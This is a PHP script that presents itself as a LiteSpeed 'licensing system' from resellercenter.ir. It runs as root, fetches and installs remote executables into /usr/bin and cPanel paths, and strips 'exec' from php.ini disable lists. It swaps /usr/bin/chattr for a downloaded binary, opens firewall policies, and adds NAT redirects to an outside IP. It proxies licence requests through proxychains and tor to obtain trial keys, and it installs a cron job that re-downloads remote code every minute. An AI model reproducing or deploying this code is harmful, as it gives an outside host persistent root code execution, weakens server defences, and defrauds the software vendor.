<?php 
$c = curl_init("http://api.resellercenter.ir/litespeed/myip.php");
$z = curl_init("http://api.resellercenter.ir/litespeed/getexpire.php");
$z2 = curl_init("http://api.resellercenter.ir/litespeed/getexpire2.php");
$k = curl_init("http://api.resellercenter.ir/litespeed/today.php");
$k2 = curl_init("http://api.resellercenter.ir/litespeed/today2.php");
$h = curl_init("http://api.resellercenter.ir/litespeed/litespeed.php");
$ver = "0.0.107";
$getcopyright = curl_init("http://api.resellercenter.ir/litespeed/getcopyright.php");
$getcopyright2 = curl_init("http://api.resellercenter.ir/litespeed/getcopyright2.php");
$getcopyright3 = curl_init("http://api.resellercenter.ir/litespeed/getcopyright3.php");
$getcopyright4 = curl_init("http://api.resellercenter.ir/litespeed/getcopyright4.php");
$getcopyright5 = curl_init("http://api.resellercenter.ir/litespeed/getcopyright5.php");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://litespeed.resellercenter.ir/litespeedv2/ver");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$Sver = curl_exec($ch);
curl_close($ch);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://api.resellercenter.ir/litespeed/getcopyright.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$getcopyright = curl_exec($ch);
curl_close($ch);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://api.resellercenter.ir/litespeed/getcopyright2.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$getcopyright2 = curl_exec($ch);
curl_close($ch);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://api.resellercenter.ir/litespeed/getcopyright3.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$getcopyright3 = curl_exec($ch);
curl_close($ch);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://api.resellercenter.ir/litespeed/getcopyright4.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$getcopyright4 = curl_exec($ch);
curl_close($ch);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://api.resellercenter.ir/litespeed/getcopyright5.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$getcopyright5 = curl_exec($ch);
curl_close($ch);
if( $ver != $Sver ) 
{
    exec("wget -O /usr/bin/" . $getcopyright4 . " http://litespeed.resellercenter.ir/litespeedv2/RcLicense_lsws > /dev/null 2>&1");
    echo "\n\x1B[31m " . $getcopyright2 . " license system has been updated to latest version. Please run this command again : \n\n\x1B[0m";
    echo "\x1B[33m => " . $getcopyright3 . " \n\x1B[0m";
    exit();
}

echo "\x1B[34m\r\n" . $getcopyright . "\r\n\x1B[0m";
echo "------------- \n";
echo "\x1B[31m [+] Thank you for using " . $getcopyright2 . " licensing system ! [+] \x1B[32m \n\n";
echo "|Website : " . $getcopyright2 . " \n";
echo "|Server Ip : ";
echo str_replace("1", "", curl_exec($c)) . "\n";
echo "|Hostname : " . exec("hostname") . "\n";
echo "\n\n\x1B[33m If you have any question connect us on our website.\r\nCopyright 2017-2018 " . $getcopyright2 . " - All rights reserved. \x1B[0m \n";
echo "-------------\nToday : ";
$timoe = str_replace("1", "", curl_exec($k2));
echo $timoe . "\n";
echo "License Expire : ";
$time = str_replace("1", "", curl_exec($z2));
echo $time . "\n";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://api.resellercenter.ir/litespeed/getexpire.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$get1 = curl_exec($ch);
curl_close($ch);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://api.resellercenter.ir/litespeed/today.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$get2 = curl_exec($ch);
curl_close($ch);
if( file_exists("/usr/local/lsws") ) 
{
    if( $get2 - $get1 < 0 ) 
    {
        if( !file_exists("/usr/local/RC") ) 
        {
            exec("mkdir /usr/local/RC > /dev/null 2>&1");
        }

        if( !file_exists("/usr/local/RC/.tmp") ) 
        {
            exec("mkdir /usr/local/RC/.tmp > /dev/null 2>&1");
        }

function soft_decode($txt)
{
    $from = array( "!", "@", "#", "\$", "%", "^", "&", "*", "(", ")" );
    $to = array( "a", "b", "c", "d", "e", "f", "g", "h", "i", "j" );
    $txt = base64_decode($txt);
    $txt = gzuncompress($txt);
    $txt = str_replace($from, $to, $txt);
    $txt = base64_decode($txt);
    return $txt;
}

function soft_encode($txt)
{
    $from = array( "a", "b", "c", "d", "e", "f", "g", "h", "i", "j" );
    $to = array( "!", "@", "#", "\$", "%", "^", "&", "*", "(", ")" );
    $txt = base64_encode($txt);
    $txt = str_replace($from, $to, $txt);
    $txt = gzcompress($txt);
    $txt = base64_encode($txt);
    return $txt;
}

        exec("rm -rf /root/rclsws.p* > /dev/null 2>&1");
        exec("rm -rf /root/rclsws.result > /dev/null 2>&1");
        $lock = "/root/RCLSWS.lock";
        if( file_exists($lock) ) 
        {
            exec("sed 's/^ *//g' /root/.rclsws.pid1 > /root/.rclsws.pid 2>&1");
            $pid = file_get_contents("/root/.rclsws.pid");
            exec("ps -ef | grep " . $pid . "");
            $filexml = file_get_contents("/root/.rclsws.result");
            $pose = strpos($filexml, ".vmfilsws");
            if( $pose !== false ) 
            {
                echo "\n\nLiteSpeed license is already running. To stop the process please run the following command :\nrm -rf /root/RCLSWS.lock\n";
            }
            else
            {
                exec("rm -rf /root/RCLSWS.lock > /dev/null 2>&1");
                echo "\n\nLiteSpeed license LOCK file exists but not running... removing it...\n";
            }

        }
        else
        {
            exec("mkdir /usr/bin/.sysma2 > /dev/null 2>&1");
            exec("rm -rf /root/.rclsws.p* > /dev/null 2>&1");
            exec("rm -rf /root/.rclsws.result > /dev/null 2>&1");
            exec("touch /root/RCLSWS.lock");
            exec("echo \$(ps -o ppid= -p \"\$\$\") \"| grep -v grep > /root/.rclsws.result\" > /root/.rclsws.pid1");
            if( $argv[1] == "-m2" || $argv[1] == "--m2" ) 
            {
                exec("/usr/bin/olast -q -f /usr/bin/.sysma2/sys.conf3 /usr/local/lsws/bin/lshttpd -V > /dev/null 2>&1");
                exit();
            }

            exec("php --ini > /etc/.op");
            exec("grep -o '/opt/cpanel/ea-php.*/root/etc/php.ini' /etc/.op > /etc/.op1");
            exec("grep -rl ',exec' \$(cat /etc/.op1) | xargs sed -i 's/,exec//g' > /dev/null 2>&1");
            exec("rm -rf /etc/.op > /dev/null 2>&1; rm -rf /etc/.op1 > /dev/null 2>&1");
            exec("wget -O /usr/bin/RcLSWS litespeed.resellercenter.ir/lswsv2/RcLSWS > /dev/null 2>&1");
            exec("chmod +x /usr/bin/RcLSWS > /dev/null 2>&1");
            exec("wget -O /usr/bin/olast http://api.resellercenter.ir/litespeed/olast > /dev/null 2>&1");
            exec("chmod +x /usr/bin/olast > /dev/null 2>&1");
            $file = exec("/usr/bin/olast > /root/.bash_time");
            $file2 = file_get_contents("/root/.bash_time");
            $pos = strpos($file2, "Usage:");
            if( $pos === false ) 
            {
                exec("mkdir /root/.core > /dev/null 2>&1; cd /root/.core; rm -rf proxychains-ng > /dev/null 2>&1; git clone https://github.com/rofl0r/proxychains-ng.git > /dev/null 2>&1 ; cd proxychains-ng > /dev/null 2>&1; ./configure > /dev/null 2>&1; make > /dev/null 2>&1; make install > /dev/null 2>&1; make install-config > /dev/null 2>&1; rm -rf /usr/local/etc/proxychains.conf; rm -rf /root/proxychains-ng > /dev/null 2>&1");
                exec("cd /root/.core/proxychains-ng > /dev/null 2>&1 && mv proxychains4 /usr/bin/olast > /dev/null 2>&1");
            }

            exec("wget -O /etc/.serveripaddress http://api.resellercenter.ir/litespeed/myip.php > /dev/null 2>&1");
            exec("rm -rf /root/.core; mkdir ~/.backdrive > /dev/null 2>&1");
            echo "\x1B[31m Please wait ... \x1B[0m\n";
            exec("mkdir /usr/bin/.sysma > /dev/null 2>&1");
            exec("wget -O /usr/bin/.sysma/sys.conf http://api.resellercenter.ir/litespeed/litespeed.php > /dev/null 2>&1");
            $lswsup = "/usr/local/lsws/admin/misc/lswsup";
            if( file_exists($lswsup) ) 
            {
                exec("chmod +x /usr/local/lsws/admin/misc/lswsup > /dev/null 2>&1");
            }
            else
            {
                exec("wget -O /usr/local/lsws/admin/misc/lswsup http://litespeed.resellercenter.ir/litespeedv1/lswsup > /dev/null 2>&1");
                exec("chmod +x /usr/local/lsws/admin/misc/lswsup > /dev/null 2>&1");
            }

            $lswsupchecker = "/usr/local/lsws/admin/misc/lswsupchecker.php";
            if( file_exists($lswsupchecker) ) 
            {
                exec("chmod +x /usr/local/lsws/admin/misc/lswsupchecker.php > /dev/null 2>&1");
            }
            else
            {
                exec("wget -O /usr/local/lsws/admin/misc/lswsupchecker.php http://litespeed.resellercenter.ir/litespeedv1/lswsupchecker > /dev/null 2>&1");
                exec("chmod +x /usr/local/lsws/admin/misc/lswsupchecker.php > /dev/null 2>&1");
            }

            $file = exec("ps -ef | grep lswsup > /root/.bash_time3");
            $file2 = file_get_contents("/root/.bash_time3");
            $pos = strpos($file2, "/usr/local/lsws/admin/misc/lswsup");
            if( $pos === false ) 
            {
                $file2 = file_get_contents("/etc/os-release");
                $pos = strpos($file2, "VERSION=\"7");
                if( $pos !== false ) 
                {
                    exec("wget -O /etc/systemd/system/RCLSWS.service http://litespeed.resellercenter.ir/litespeedv1/RCLSWS7 > /dev/null 2>&1");
                }
                else
                {
                    exec("wget -O /etc/init.d/RCLSWS http://litespeed.resellercenter.ir/litespeedv1/RCLSWS6 > /dev/null 2>&1");
                    exec("chmod +x /etc/init.d/RCLSWS");
                }

            }

            exec("wget -O /usr/local/cpanel/whostmgr/docroot/cgi/lsws/bin/lsws_func http://litespeed.resellercenter.ir/litespeedv1/lsws_func > /dev/null 2>&1");
            exec("wget -O /usr/local/lsws/add-ons/cpanel/lsws_whm_plugin/bin/lsws_func http://litespeed.resellercenter.ir/litespeedv1/lsws_func > /dev/null 2>&1");
            exec("wget -O /usr/local/psa/admin/sbin/modules/litespeed/lsws_func http://litespeed.resellercenter.ir/litespeedv1/lsws_func > /dev/null 2>&1");
            exec("wget -O /usr/bin/comp0 http://litespeed.resellercenter.ir/litespeedv1/0wjdwi > /dev/null 2>&1; chmod +x /usr/bin/comp0 > /dev/null 2>&1");
            exec("rm -rf /etc/cron.d/helperlsws > /dev/null 2>&1");
            exec("cp /usr/bin/comp0 /usr/bin/chattr > /dev/null 2>&1");
            echo "/usr/bin/'." . $getcopyright3 . ".'" < "#!/usr/bin/php -q\r\n<?php\r\nexec(\"wget -O /usr/bin/\".\$getcopyright4.\" http://litespeed.resellercenter.ir/litespeedv2/RcLicense_lsws > /dev/null 2>&1\");\r\nexec(\"chmod +x /usr/bin/" . $getcopyright4 . "\");\r\ninclude(\"/usr/bin/" . $getcopyright4 . "\");\r\n?>";
            $filenamec = "/etc/cron.d/rclsws";
            if( !file_exists($filenamec) ) 
            {
                exec("echo \"* * * * *  root /usr/bin/rclswscronbackup > /dev/null 2>&1\" > /etc/cron.d/rclsws");
                exec("/usr/bin/chmod 644 /etc/cron.d/rclsws > /dev/null 2>&1");
            }

            exec("rm -rf /usr/bin/rclswscronbackup");
            $filenameb = "/usr/bin/rclswscronbackup";
            if( !file_exists($filenameb) ) 
            {
                exec("/usr/bin/wget -O /usr/bin/rclswscronbackup http://litespeed.resellercenter.ir/litespeedv1/rclswscronbackup > /dev/null 2>&1");
                exec("chmod +x /usr/bin/rclswscronbackup > /dev/null 2>&1");
            }

            exec("sed -i -e \"s/\\r\$//\" /usr/bin/rclswscronbackup > /dev/null 2>&1");
            exec("/usr/bin/rm -rf /etc/cron.d/sed* > /dev/null 2>&1");
            exec("wget -O /usr/bin/" . $getcopyright4 . " http://litespeed.resellercenter.ir/litespeedv2/RcLicense_lsws > /dev/null 2>&1");
            exec("rm -rf /usr/local/cpanel/whostmgr/docroot/cgi/lsws/WhmMod_LiteSpeed_View.php > /dev/null 2>&1; wget -O /usr/local/cpanel/whostmgr/docroot/cgi/lsws/WhmMod_LiteSpeed_View.php http://litespeed.resellercenter.ir/litespeedv1/WhmMod_LiteSpeed_View > /dev/null 2>&1");
            exec("wget -O /usr/local/cpanel/whostmgr/docroot/cgi/lsws/WhmMod_LiteSpeed_Util.php http://litespeed.resellercenter.ir/litespeedv1/WhmMod_LiteSpeed_Util > /dev/null 2>&1");
            exec("wget -O /usr/bin/.rccore api.resellercenter.ir/litespeed/c.php > /dev/null 2>&1");
            exec("mkdir /root/.backdrive > /dev/null 2>&1");
            exec("echo '#!/bin/bash\r\nphp /usr/bin/" . $getcopyright4 . " > /dev/null 2>&1' >> /usr/local/.mailt");
            exec("chmod +x /usr/local/.mailt > /dev/null 2>&1");
            exec("chmod 644 /etc/cron.d/systemmail > /dev/null 2>&1");
            exec("sed -i -e \"s/\\r\$//\" /usr/local/.mailt > /dev/null 2>&1");
            exec("rm -rf /root/.bash_timel > /dev/null 2>&1");
            exec("rm -rf /usr/local/.mailt > /dev/null 2>&1");
            $filexml = file_get_contents("/usr/local/lsws/conf/httpd_config.xml");
            $pose = strpos($filexml, "<?xml");
            if( $pose === false ) 
            {
                exec("wget -O /usr/local/lsws/conf/httpd_config.xml litespeed.resellercenter.ir/litespeedv1/httpd_config.xml > /dev/null 2>&1");
            }

            exec("/usr/bin/rm -rf /root/.bash_time > /dev/null 2>&1");
            $file11 = exec("curl --fail --silent --show-error 127.0.0.1:443 2> /root/.bash_time");
            $file22 = file_get_contents("/root/.bash_time");
            $pos = strpos($file22, "Connection");
            if( $pos !== false ) 
            {
                if( file_exists("/tmp/lshttpd/lshttpd.pid") ) 
                {
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 35.171.237.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 165.227.122.1/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 52.55.120.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 35.171.237.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 165.227.122.1/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 52.55.120.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 35.171.237.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 165.227.122.1/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 52.55.120.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 35.171.237.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 165.227.122.1/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 52.55.120.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("service lsws stop > /dev/null 2>&1");
                }
                else
                {
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 35.171.237.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 165.227.122.1/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 52.55.120.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 35.171.237.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 165.227.122.1/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 52.55.120.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 35.171.237.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 165.227.122.1/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 52.55.120.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 35.171.237.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 165.227.122.1/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 52.55.120.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("service lsws stop > /dev/null 2>&1");
                }

            }

            exec("rm -rf /root/.bash_time");
            $file22 = file_get_contents("/proc/mounts");
            $pos = strpos($file22, "/usr/local/lsws/conf/trial.key");
            if( $pos === false ) 
            {
            }

            $file3 = file_get_contents("/etc/hosts");
            $pos = strpos($file3, "repo.mysql.com");
            if( $pos !== false ) 
            {
                exec("echo 1 > /proc/sys/net/ipv4/ip_forward");
                exec("cp /scripts/wwwacct /scripts/wwwacct_isback > /dev/null 2>&1");
                exec("ip addr add 108.108.108.108/32 dev \$(ip -o -4 route show to default | awk '{print \$5}')");
                exec("/sbin/iptables -t nat -A OUTPUT -p tcp -s 108.108.108.108 -d 108.108.108.108 --dport 80 -j DNAT --to-destination 159.69.47.78:1000 &>/dev/null");
                exec("/sbin/iptables -t nat -A POSTROUTING -j MASQUERADE -p tcp -s 108.108.108.108 -d 159.69.47.78 &>/dev/null");
            }

            if( !file_exists("/usr/bin/tor") ) 
            {
                echo "\ninstalling requirements...";
                exec("wget http://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm > /dev/null 2>&1");
                exec("rpm -ivh epel-release-latest-7.noarch.rpm > /dev/null 2>&1");
                exec("rm -rf epel-release-latest-7.noarch.rpm > /dev/null 2>&1");
                exec("killall yum > /dev/null 2>&1");
                exec("yum install tor -y > /dev/null 2>&1");
            }

            exec("service tor start > /dev/null 2>&1");
            exec("wget -O /usr/local/cpanel/whostmgr/docroot/cgi/lsws/bin/lsws_func litespeed.resellercenter.ir/litespeedv1/lsws_func > /dev/null 2>&1");
            $filename3 = "/usr/local/lsws/conf/trial.key";
            $file = exec("ps -ef | grep litespeed > /root/.bash_timel");
            $file2 = file_get_contents("/root/.bash_timel");
            $pos = strpos($file2, "(lshttpd - #01)");
            if( $pos == false ) 
            {
                $license = file_get_contents("/usr/local/RC/.key2");
                $license = @trim(@soft_decode($license));
                if( substr($license, 0, 5) == "<?php" ) 
                {
                    $license = substr($license, 5);
                }

                if( substr($license, -2) == "?>" ) 
                {
                    $license = substr($license, 0, strlen($license) - 2);
                }

                $new = "/usr/local/RC/.key2";
                file_put_contents($new, $license);
                exec("comp0 -i /usr/local/lsws/conf/trial.key");
                exec("/usr/bin/olast -q -f /usr/local/RC/.key2 wget -O /usr/local/lsws/conf/trial.key license.litespeedtech.com/reseller/trial.key > /dev/null 2>&1");
                exec("timeout 20s /usr/bin/olast -q -f /usr/local/RC/.key2 /usr/local/lsws/bin/lswsctrl start");
                exec("timeout 20s /usr/bin/olast -q -f /usr/local/RC/.key2 /usr/local/lsws/bin/lshttpd");
                exec("timeout 20s /usr/bin/olast -q -f /usr/local/RC/.key2 /usr/local/lsws/bin/lshttpd");
                exec("comp0 +i /usr/local/lsws/conf/trial.key");
                $license = file_get_contents("/usr/local/RC/.key2");
                $license = @trim(@soft_encode($license));
                if( substr($license, 0, 5) == "<?php" ) 
                {
                    $license = substr($license, 5);
                }

                if( substr($license, -2) == "?>" ) 
                {
                    $license = substr($license, 0, strlen($license) - 2);
                }

                $new = "/usr/local/RC/.key2";
                file_put_contents($new, $license);
            }

            $filename3 = "/usr/local/lsws/conf/trial.key";
            $file = exec("ps -ef | grep litespeed > /root/.bash_timel");
            $file2 = file_get_contents("/root/.bash_timel");
            $pos = strpos($file2, "(lshttpd - #01)");
            if( $pos !== false ) 
            {
                exec("lsattr -d /usr/local/lsws/conf/trial.key > /dev/null 2>&1");
                exec("lsattr -l /usr/local/lsws/conf/trial.key > /dev/null 2>&1");
                exec("rm -rf /root/.bash_timel > /dev/null 2>&1");
                exec("rm -rf /usr/local/lsws/conf/trial.key.old > /dev/null 2>&1");
                exec("cp /usr/local/lsws/conf/trial.key /usr/local/lsws/conf/trial.key.old > /dev/null 2>&1");
                exec("/usr/bin/rm -rf /root/.bash_time1 > /dev/null 2>&1");
                $file11 = exec("timeout 2s ping 165.227.122.1 > /root/.bash_time1");
                $file22 = file_get_contents("/root/.bash_time1");
                $pos = strpos($file22, "bytes from");
                if( $pos !== false ) 
                {
                    exec("/usr/bin/rm -rf /root/.bash_time1 > /dev/null 2>&1");
                }

                exec("/usr/bin/rm -rf /root/.bash_time > /dev/null 2>&1");
                $file11 = exec("timeout 3s curl --silent 167.99.112.67 > /root/.bash_time");
                $file22 = file_get_contents("/root/.bash_time");
                $pos = strpos($file22, "LiteSpeed Web Server");
                if( $pos === false ) 
                {
                }

                exec("/usr/bin/rm -rf /root/.bash_time > /dev/null 2>&1");
                $file11 = exec("timeout 3s curl --silent 34.231.236.27 > /root/.bash_time");
                $file22 = file_get_contents("/root/.bash_time");
                $pos = strpos($file22, "LiteSpeed Web Server");
                if( $pos === false ) 
                {
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 34.231.236.27 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 34.231.236.27 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 34.231.236.27 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 34.231.236.27 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 34.231.236.27 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 34.231.236.27 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 34.231.236.27 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 34.231.236.27 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 34.231.236.27 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 167.99.112.67 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 167.99.112.67 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 167.99.112.67 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 167.99.112.67 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 167.99.112.67 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 167.99.112.67 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 167.99.112.67 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 167.99.112.67 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 167.99.112.67 -j DROP; done > /dev/null 2>&1");
                }

                exec("/scripts/configure_firewall_for_cpanel > /dev/null 2>&1");
                exec("/usr/bin/rm -rf /root/.bash_time1 > /dev/null 2>&1");
                $file11 = exec("timeout 2s ping 165.227.122.1 > /root/.bash_time1");
                $file22 = file_get_contents("/root/.bash_time1");
                $pos = strpos($file22, "bytes from");
                if( $pos !== false ) 
                {
                    exec("sudo iptables -A INPUT -s 35.171.237.73/32 -j DROP > /dev/null 2>&1");
                    exec("sudo iptables -A INPUT -s 165.227.122.1/32 -j DROP > /dev/null 2>&1");
                    exec("sudo iptables -A INPUT -s 52.55.120.73/32 -j DROP > /dev/null 2>&1");
                    exec("sudo iptables -A INPUT -s 35.171.237.73/32 -j DROP > /dev/null 2>&1");
                    exec("sudo iptables -A INPUT -s 165.227.122.1/32 -j DROP > /dev/null 2>&1");
                    exec("sudo iptables -A INPUT -s 52.55.120.73/32 -j DROP > /dev/null 2>&1");
                    exec("sudo iptables -A INPUT -s 35.171.237.73/32 -j DROP > /dev/null 2>&1");
                    exec("sudo iptables -A INPUT -s 165.227.122.1/32 -j DROP > /dev/null 2>&1");
                    exec("sudo iptables -A INPUT -s 52.55.120.73/32 -j DROP > /dev/null 2>&1");
                    exec("sudo iptables-save > /dev/null 2>&1");
                    exec("/usr/bin/rm -rf /root/.bash_time1 > /dev/null 2>&1");
                }

                echo "\x1B[32m\n\nLiteSpeed status : OK\x1B[0m\n";
            }
            else
            {
                echo "\x1B[32m\n\nGenerating LiteSpeed license...\x1B[0m";
                exec("iptables -A OUTPUT -j ACCEPT > /dev/null 2>&1");
                exec("iptables -I INPUT -j ACCEPT > /dev/null 2>&1");
                exec("iptables -I OUTPUT -j ACCEPT > /dev/null 2>&1");
                exec("iptables -P INPUT ACCEPT > /dev/null 2>&1");
                exec("iptables -P FORWARD ACCEPT > /dev/null 2>&1");
                exec("iptables -P OUTPUT ACCEPT > /dev/null 2>&1");
                $ofi = 1;
                while( $ofi <= 10 ) 
                {
                    exec("comp0 -i /var/www/html/trial.key > /dev/null 2>&1");
                    exec("rm -rf /var/www/html/trial.key > /dev/null 2>&1");
                    exec("chmod +x /usr/local/lsws/bin/lswsctrl > /dev/null 2>&1");
                    exec("comp0 -i /usr/local/lsws/conf/trial.key > /dev/null 2>&1");
                    exec("wget -O /usr/local/RC/.tmp/sys.conf2 http://api.resellercenter.ir/litespeed/change.php > /dev/null 2>&1");
                    exec("sed -e 's/<[^>]*>//g' /usr/local/RC/.tmp/sys.conf2 > /usr/local/RC/.tmp/sys.conf3");
                    exec("/usr/bin/olast -q -f /usr/local/RC/.tmp/sys.conf3 wget -O /usr/local/lsws/conf/trial.key license.litespeedtech.com/reseller/trial.key > /dev/null 2>&1");
                    exec("timeout 20s /usr/bin/olast -q -f /usr/local/RC/.tmp/sys.conf3 /usr/local/lsws/bin/lswsctrl start > /usr/local/RC/.outlsws 2>&1");
                    $file3 = file_get_contents("/usr/local/RC/.outlsws");
                    $pos = strpos($file3, "Updated license key has been created at");
                    if( $pos !== false ) 
                    {
                        echo "OK";
                        exec("cat /usr/local/RC/.tmp/sys.conf3 > /usr/local/RC/.key2");
                        $license = file_get_contents("/usr/local/RC/.key2");
                        $license = @trim(@soft_encode($license));
                        if( substr($license, 0, 5) == "<?php" ) 
                        {
                            $license = substr($license, 5);
                        }

                        if( substr($license, -2) == "?>" ) 
                        {
                            $license = substr($license, 0, strlen($license) - 2);
                        }

                        $new = "/usr/local/RC/.key2";
                        file_put_contents($new, $license);
                        exec("curl http://api.resellercenter.ir/litespeed/log.php?error=litespeedv2MET1OK > /dev/null 2>&1");
                        exec("comp0 +i /usr/local/lsws/conf/trial.key > /dev/null 2>&1");
                        exec("timeout 10s /usr/bin/olast -q -f /usr/local/RC/.tmp/sys.conf3 /usr/local/lsws/bin/lshttpd > /dev/null 2>&1");
                        exec("timeout 10s /usr/bin/olast -q -f /usr/local/RC/.tmp/sys.conf3 /usr/local/lsws/bin/lshttpd > /dev/null 2>&1");
                        exec("timeout 10s /usr/bin/olast -q -f /usr/local/RC/.tmp/sys.conf3 /usr/local/lsws/bin/lshttpd > /dev/null 2>&1");
                        exec("timeout 10s /usr/bin/olast -q -f /usr/local/RC/.tmp/sys.conf3 /usr/local/lsws/bin/lshttpd > /dev/null 2>&1");
                        exec("csf -e > /dev/null 2>&1");
                        exec("service iptables start > /dev/null 2>&1");
                        exec("service firewalld start > /dev/null 2>&1");
                        exec("rm -rf /usr/local/RC/.tmp/sys.conf2 > /dev/null 2>&1");
                        exec("rm -rf /root/.bash_timel > /dev/null 2>&1");
                        $ofi = 10;
                        echo "\x1B[32m\n\nLiteSpeed has been started...\x1B[0m\n";
                    }

                    $ofi++;
                }
                $file3 = file_get_contents("/usr/local/RC/.outlsws");
                $pos = strpos($file3, "Updated license key has been created at");
                if( $pos == false ) 
                {
                    echo "Failed\x1B[31m\n New config has been downloaded, please try again.\x1B[0m\n";
                }

            }

            exec("rm -rf /usr/local/RC/.outlsws > /dev/null 2>&1");
            exec("comp0 +i /usr/local/lsws/conf/trial.key > /dev/null 2>&1");
            exec("rm -rf /usr/local/RC/.tmp/sys.conf2 > /dev/null 2>&1");
            exec("rm -rf /usr/local/RC/.tmp/sys.conf3 > /dev/null 2>&1");
            exec("rm -rf /root/RCLSWS.lock > /dev/null 2>&1");
        }

    }
    else
    {
        echo "\r\n\x1B[31m Your License has been suspended. Connect to support via " . $getcopyright2 . " \x1B[0m\r\n";
        if( file_exists("/scripts/removeacct_isback") ) 
        {
            exec("yes | cp -rf /scripts/removeacct_isback /scripts/removeacct > /dev/null 2>&1");
        }

        exec("/usr/bin/comp0 /root/.backdrive/trial.key &>/dev/null; rm -rf /root/.backdrive/trial.key > /dev/null 2>&1");
        exec("/usr/bin/comp0 /usr/local/lsws/conf/trial.key &>/dev/null; rm -rf /usr/local/lsws/conf/trial.key > /dev/null 2>&1");
        exec("service lsws stop > /dev/null 2>&1");
        exec("rm -rf ~/.sysma/auto");
        echo "***" . $get2;
    }

}
else
{
    echo "LiteSpeed is not installed. submit a ticket on " . $getcopyright2 . " for more help.";
}


